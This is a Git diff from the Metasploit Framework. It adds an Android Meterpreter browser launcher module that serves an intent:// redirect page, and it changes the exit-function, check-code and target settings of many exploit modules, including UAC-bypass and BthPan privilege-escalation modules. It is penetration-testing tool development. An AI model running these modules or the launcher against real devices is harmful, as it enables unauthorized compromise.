||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'Jon Hart <jon_hart[at]rapid7.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def scanner_prescan(batch)
|
||||
print_status("Sending mDNS #{query_type_name} #{query_class_name} queries for " \
|
||||
"#{query_name} to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)")
|
||||
@results = {}
|
||||
end
|
||||
|
||||
def scanner_postscan(_batch)
|
||||
found = {}
|
||||
@results.each_pair do |peer, resps|
|
||||
resps.each do |resp|
|
||||
found[peer] ||= {}
|
||||
next if found[peer][resp]
|
||||
response_info = describe_response(resp)
|
||||
print_good("#{peer} responded with #{response_info}")
|
||||
report_service(host: peer, port: rport, proto: "udp", name: "mdns", info: response_info)
|
||||
found[peer][resp] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,53 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Android Meterpreter Browsable Launcher",
|
||||
'Description' => %q{
|
||||
This module allows you to open an android meterpreter via a browser. An Android
|
||||
meterpreter must be installed as an application beforehand on the target device
|
||||
in order to use this.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://developer.android.com/reference/android/content/Intent.html#CATEGORY_BROWSABLE' ]
|
||||
]
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
exploit
|
||||
end
|
||||
|
||||
def html
|
||||
%Q|
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
location.href = "intent://my_host#Intent;scheme=metasploit;action=android.intent.action.VIEW;end";
|
||||
</script>
|
||||
<noscript>
|
||||
<meta http-equiv="refresh" content="1; url=intent://my_host#Intent;scheme=metasploit;action=android.intent.action.VIEW;end">
|
||||
</noscript>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Sending HTML...")
|
||||
send_response(cli, html)
|
||||
end
|
||||
|
||||
end
|
|
@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'none'
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
|
|
|
@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
|
|
|
@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
{
|
||||
'WfsDelay' => 300, #5 minutes
|
||||
'DisablePayloadHandler' => 'false',
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
|
|
|
@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'none'
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
|
|
|
@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'none'
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
|
|
|
@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => ['linux'],
|
||||
'Arch' => ARCH_X86,
|
||||
|
|
|
@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
|
|
|
@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
|
|
|
@ -35,7 +35,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Platform' => %w{ win linux unix },
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => 'vbs'}],
|
||||
['Windows',
|
||||
{
|
||||
'Arch' => [ ARCH_X86_64, ARCH_X86 ],
|
||||
'Platform' => 'win',
|
||||
'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
|
||||
}
|
||||
],
|
||||
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
|
||||
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
|
||||
],
|
||||
|
|
|
@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => %w{ linux php },
|
||||
'Targets' =>
|
||||
|
|
|
@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
|
|
|
@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
|
|
|
@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Arch' => ARCH_PHP,
|
||||
'Platform' => ['php'],
|
||||
|
|
|
@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => %w{ java linux win },
|
||||
'Targets' =>
|
||||
|
|
|
@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => %w{ linux unix },
|
||||
'Arch' => ARCH_CMD,
|
||||
|
|
|
@ -62,7 +62,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
(ver?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
|
||||
(ver?) ? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def ver?
|
||||
|
|
|
@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
def check
|
||||
if ver_lt(osx_ver, "10.10")
|
||||
Exploit::CheckCode::Vulnerable
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
|
|
@ -53,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
def check
|
||||
if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"
|
||||
Exploit::CheckCode::Vulnerable
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
|
|
@ -60,7 +60,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
(ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
|
||||
(ver? && admin?) ? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
|
|
@ -53,7 +53,7 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
def check
|
||||
if ver? && admin?
|
||||
vprint_status("Version is between 10.9 and 10.10.3, and is admin.")
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
|
|
@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
|
|
|
@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
|
|
|
@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'none'
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
|
|
|
@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
|
|
|
@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
|
|
|
@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "process",
|
||||
'EXITFUNC' => 'thread',
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'process',
|
||||
'EXITFUNC' => 'thread',
|
||||
'URIPATH' => "/shakeitoff.mp3"
|
||||
},
|
||||
'Platform' => 'win',
|
||||
|
|
|
@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none",
|
||||
'EXITFUNC' => 'thread',
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
|
|
|
@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none",
|
||||
'EXITFUNC' => 'thread',
|
||||
'InitialAutoRunScript' => 'migrate -f',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
|
|
|
@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "process",
|
||||
'EXITFUNC' => 'thread',
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
|
|
|
@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "seh",
|
||||
'EXITFUNC' => 'thread',
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
|
|
|
@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "process",
|
||||
'EXITFUNC' => 'thread',
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'process',
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
|
|
|
@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'process'
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
|
|
|
@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "seh"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
|
|
|
@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'process'
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'process'
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
|
|
|
@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'SaveRegisters' => [ 'ESP' ],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "process",
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
|
|
|
@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "process",
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'process'
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "process",
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
|
|
|
@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "seh"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
|
|
|
@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'process'
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
|
|
|
@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none",
|
||||
'EXITFUNC' => 'thread',
|
||||
'DisablePayloadHandler' => 'false'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
|
|
|
@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "process",
|
||||
'EXITFUNC' => 'thread',
|
||||
'PrependMigrate' => true
|
||||
},
|
||||
'Platform' => 'win',
|
||||
|
|
|
@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'process',
|
||||
'EXITFUNC' => 'process'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'process'
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
|
|
|
@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'seh'
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
|
|
|
@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'seh',
|
||||
'EXITFUNC' => 'thread',
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
|
|
|
@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'process',
|
||||
'EXITFUNC' => 'thread',
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
|
|
|
@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
|
|
|
@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => 'seh'
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
|
|
|
@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "thread"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "process"
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
|
|
|
@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',
|
||||
'Name' => 'MS14-062 Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',
|
||||
'Description' => %q{
|
||||
A vulnerability within Microsoft Bluetooth Personal Area Networking module,
|
||||
BthPan.sys, can allow an attacker to inject memory controlled by the attacker
|
||||
|
@ -53,6 +53,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'MSB', 'MS14-062' ],
|
||||
[ 'CVE', '2014-4971' ],
|
||||
[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ],
|
||||
[ 'OSVDB', '109387' ]
|
||||
|
@ -136,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
session.railgun.kernel32.CloseHandle(handle)
|
||||
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
|
|
@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
case get_uac_level
|
||||
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||
fail_with(Failure::NotVulnerable,
|
||||
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
|
||||
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
|
||||
)
|
||||
when UAC_DEFAULT
|
||||
print_good 'UAC is set to Default'
|
||||
|
|
|
@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
|
||||
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
|
||||
fail_with(Failure::NotVulnerable,
|
||||
"UAC is set to 'Always Notify'\r\nThis module does not bypass this setting, exiting..."
|
||||
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."
|
||||
)
|
||||
when UAC_DEFAULT
|
||||
print_good('UAC is set to Default')
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue